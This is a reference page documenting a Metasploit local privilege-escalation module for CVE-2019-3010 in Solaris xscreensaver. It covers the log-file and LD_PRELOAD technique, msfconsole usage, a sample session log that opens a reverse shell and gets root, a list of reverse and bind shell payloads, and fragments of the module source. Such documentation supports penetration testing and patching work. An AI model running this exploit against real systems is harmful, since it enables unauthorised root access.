Solaris xscreensaver log Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/solaris/local/xscreensaver_log_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Solaris xscreensaver log Privilege Escalation
Module: exploit/solaris/local/xscreensaver_log_priv_esc
Source code: modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb
Disclosure date: 2019-10-16
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2019-3010
This module is also known as raptor_xscreensaver.
This module exploits a vulnerability in xscreensaver
versions since 5.06 on unpatched Solaris 11 systems which
allows users to gain root privileges. xscreensaver
allows
users to create a user-owned file at any location on the
filesystem using the -log
command line argument introduced
in version 5.06. This module uses xscreensaver
to create a
log file in /usr/lib/secure/
, overwrites the log file with
a shared object, and executes the shared object using the
LD_PRELOAD
environment variable. This module has been
tested successfully on: xscreensaver version 5.15 on Solaris
11.1 (x86); and xscreensaver version 5.15 on Solaris 11.3
(x86).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/solaris/local/xscreensaver_log_priv_esc
msf exploit(xscreensaver_log_priv_esc) > show targets
... a list of targets ...
msf exploit(xscreensaver_log_priv_esc) > set TARGET target-id
msf exploit(xscreensaver_log_priv_esc) > show options
... show and set options ...
msf exploit(xscreensaver_log_priv_esc) > set SESSION session-id
msf exploit(xscreensaver_log_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits a vulnerability in xscreensaver
versions
since 5.06 on unpatched Solaris 11 systems which allows users
to gain root privileges.
xscreensaver
allows users to create a user-owned file at any
location on the filesystem using the -log
command line argument
introduced in version 5.06.
This module uses xscreensaver
to create a log file in /usr/lib/secure/
,
overwrites the log file with a shared object, and executes the shared
object using the LD_PRELOAD
environment variable.
Vulnerable Application
This module has been tested successfully on:
- xscreensaver version 5.15 on Solaris 11.1 (x86)
- xscreensaver version 5.15 on Solaris 11.3 (x86)
Verification Steps
- Start
msfconsole
- Get a session
- Do:
use exploit/solaris/local/xscreensaver_log_priv_esc
- Do:
set SESSION [SESSION]
- Do:
run
- You should get a new root session
Options
XSCREENSAVER_PATH
Path to xscreensaver
executable. (default: /usr/bin/xscreensaver
)
XORG_PATH
Path to Xorg
executable. (default: /usr/bin/Xorg
)
Scenarios
Solaris 11.3 (x86)
msf5 > use exploit/solaris/local/xscreensaver_log_priv_esc
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set session 1
session => 1
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] Starting Xorg on display :1 ...
[*] Creating log file /usr/lib/secure/QKaG911RA8.so ...
[*] Writing '/tmp/.cqihxHb/.fjgQFF7F08.c' (248 bytes) ...
[*] Writing '/tmp/.cqihxHb/.K94KoDObn' (61 bytes) ...
[*] Executing payload...
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.221:39510) at 2019-10-21 03:58:47 -0400
[!] Tried to delete /usr/lib/secure/QKaG911RA8.so, unknown result
[+] Deleted /tmp/.cqihxHb/.fjgQFF7F08.c
[+] Deleted /tmp/.cqihxHb/.fjgQFF7F08
[+] Deleted /tmp/.cqihxHb/.K94KoDObn
[+] Deleted /tmp/.cqihxHb
id
uid=0(root) gid=0(root) groups=10(staff)
uname -a
SunOS solaris 5.11 11.3 i86pc i386 i86pc
cat /etc/release
Oracle Solaris 11.3 X86
Copyright (c) 1983, 2015, Oracle and/or its affiliates. All rights reserved.
Assembled 06 October 2015
Go back to menu.
Msfconsole Usage
Here is how the solaris/local/xscreensaver_log_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/solaris/local/xscreensaver_log_priv_esc
[*] Using configured payload cmd/unix/reverse_ksh
msf6 exploit(solaris/local/xscreensaver_log_priv_esc) > show info
Name: Solaris xscreensaver log Privilege Escalation
Module: exploit/solaris/local/xscreensaver_log_priv_esc
Platform: Solaris, Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-10-16
Provided by:
Marco Ivaldi
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
XORG_PATH /usr/bin/Xorg yes Path to Xorg executable
XSCREENSAVER_PATH /usr/bin/xscreensaver yes Path to xscreensaver executable
Payload information:
Description:
This module exploits a vulnerability in `xscreensaver` versions
since 5.06 on unpatched Solaris 11 systems which allows users to
gain root privileges. `xscreensaver` allows users to create a
user-owned file at any location on the filesystem using the `-log`
command line argument introduced in version 5.06. This module uses
`xscreensaver` to create a log file in `/usr/lib/secure/`,
overwrites the log file with a shared object, and executes the
shared object using the `LD_PRELOAD` environment variable. This
module has been tested successfully on: xscreensaver version 5.15 on
Solaris 11.1 (x86); and xscreensaver version 5.15 on Solaris 11.3
(x86).
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-3010
https://www.exploit-db.com/exploits/47509
https://seclists.org/fulldisclosure/2019/Oct/39
https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver
https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
Also known as:
raptor_xscreensaver
Module Options
This is a complete list of options available in the solaris/local/xscreensaver_log_priv_esc exploit:
msf6 exploit(solaris/local/xscreensaver_log_priv_esc) > show options
Module options (exploit/solaris/local/xscreensaver_log_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
XORG_PATH /usr/bin/Xorg yes Path to Xorg executable
XSCREENSAVER_PATH /usr/bin/xscreensaver yes Path to xscreensaver executable
Payload options (cmd/unix/reverse_ksh):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the solaris/local/xscreensaver_log_priv_esc exploit:
msf6 exploit(solaris/local/xscreensaver_log_priv_esc) > show advanced
Module advanced options (exploit/solaris/local/xscreensaver_log_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Xdisplay :1 yes Display to use if starting a new Xorg session
Payload advanced options (cmd/unix/reverse_ksh):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the solaris/local/xscreensaver_log_priv_esc module can exploit:
msf6 exploit(solaris/local/xscreensaver_log_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the solaris/local/xscreensaver_log_priv_esc exploit:
msf6 exploit(solaris/local/xscreensaver_log_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
19 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
20 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
21 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
22 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
23 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
24 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
25 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
26 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
27 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
28 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
29 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
30 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
31 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
32 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
33 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
34 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
35 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
36 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
37 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
38 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
39 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
40 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
41 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
42 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
43 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
44 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
45 payload/generic/custom normal No Custom Payload
46 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
47 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the solaris/local/xscreensaver_log_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(solaris/local/xscreensaver_log_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PATH>.c failed to compile
Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:
99: upload "#{path}.c", data
100:
101: output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"
102: unless output.blank?
103: print_error output
104: fail_with Failure::Unknown, "#{path}.c failed to compile"
105: end
106:
107: register_file_for_cleanup path
108: end
109:
<XSCREENSAVER_PATH> is not setuid
Here is a relevant code snippet related to the "<XSCREENSAVER_PATH> is not setuid" error message:
107: register_file_for_cleanup path
108: end
109:
110: def check
111: unless setuid? xscreensaver_path
112: vprint_error "#{xscreensaver_path} is not setuid"
113: return CheckCode::Safe
114: end
115: vprint_good "#{xscreensaver_path} is setuid"
116:
117: unless has_gcc?
gcc is not installed
Here is a relevant code snippet related to the "gcc is not installed" error message:
113: return CheckCode::Safe
114: end
115: vprint_good "#{xscreensaver_path} is setuid"
116:
117: unless has_gcc?
118: vprint_error 'gcc is not installed'
119: return CheckCode::Safe
120: end
121: vprint_good 'gcc is installed'
122:
123: xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first
Could not determine xscreensaver version
Here is a relevant code snippet related to the "Could not determine xscreensaver version" error message:
120: end
121: vprint_good 'gcc is installed'
122:
123: xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first
124: if xscreensaver_version.to_s.eql? ''
125: vprint_error 'Could not determine xscreensaver version'
126: return CheckCode::Detected
127: end
128:
129: # Bug introduced in version 5.06. Patched in version <~ 5.42.
130: unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))
xscreensaver version <XSCREENSAVER_VERSION> is not vulnerable
Here is a relevant code snippet related to the "xscreensaver version <XSCREENSAVER_VERSION> is not vulnerable" error message:
126: return CheckCode::Detected
127: end
128:
129: # Bug introduced in version 5.06. Patched in version <~ 5.42.
130: unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))
131: vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"
132: return CheckCode::Safe
133: end
134: vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"
135:
136: CheckCode::Appears
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
136: CheckCode::Appears
137: end
138:
139: def exploit
140: if is_root?
141: fail_with Failure::BadConfig, 'Session already has root privileges'
142: end
143:
144: unless writable? datastore['WritableDir']
145: fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
146: end
<WRITABLEDIR> is not writable
Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:
140: if is_root?
141: fail_with Failure::BadConfig, 'Session already has root privileges'
142: end
143:
144: unless writable? datastore['WritableDir']
145: fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
146: end
147:
148: # Set display
149: display = cmd_exec 'echo $DISPLAY'
150: kill_xorg = false
Could not create writable log file <LIB_PATH>
Here is a relevant code snippet related to the "Could not create writable log file <LIB_PATH>" error message:
176: if kill_xorg
177: cmd_exec 'pkill -U `whoami` -n Xorg'
178: end
179:
180: unless writable? lib_path
181: fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"
182: end
183:
184: register_file_for_cleanup lib_path
185:
186: # Upload and compile shared object
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2019-3010
- EDB-47509
- https://seclists.org/fulldisclosure/2019/Oct/39
- https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver
- https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/
- https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
See Also
Check also the following modules related to this module:
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/dos/solaris/lpd/cascade_delete
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/local/extremeparr_dtappgather_priv_esc
- exploit/solaris/local/libnspr_nspr_log_file_priv_esc
- exploit/solaris/local/rsh_stack_clash_priv_esc
- exploit/solaris/lpd/sendmail_exec
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/solaris/ssh/pam_username_bof
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- payload/solaris/sparc/shell_bind_tcp
- payload/solaris/sparc/shell_find_port
- payload/solaris/sparc/shell_reverse_tcp
- payload/solaris/x86/shell_bind_tcp
- payload/solaris/x86/shell_find_port
- payload/solaris/x86/shell_reverse_tcp
- post/solaris/escalate/pfexec
- post/solaris/escalate/srsexec_readline
- post/solaris/gather/checkvm
- post/solaris/gather/enum_packages
- post/solaris/gather/enum_services
- post/solaris/gather/hashdump
Related Nessus plugins:
- Oracle Solaris Critical Patch Update : oct2019_SRU11_3_36_15_0
- Oracle Solaris Critical Patch Update : oct2019_SRU11_4_12_5_0
Authors
- Marco Ivaldi
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.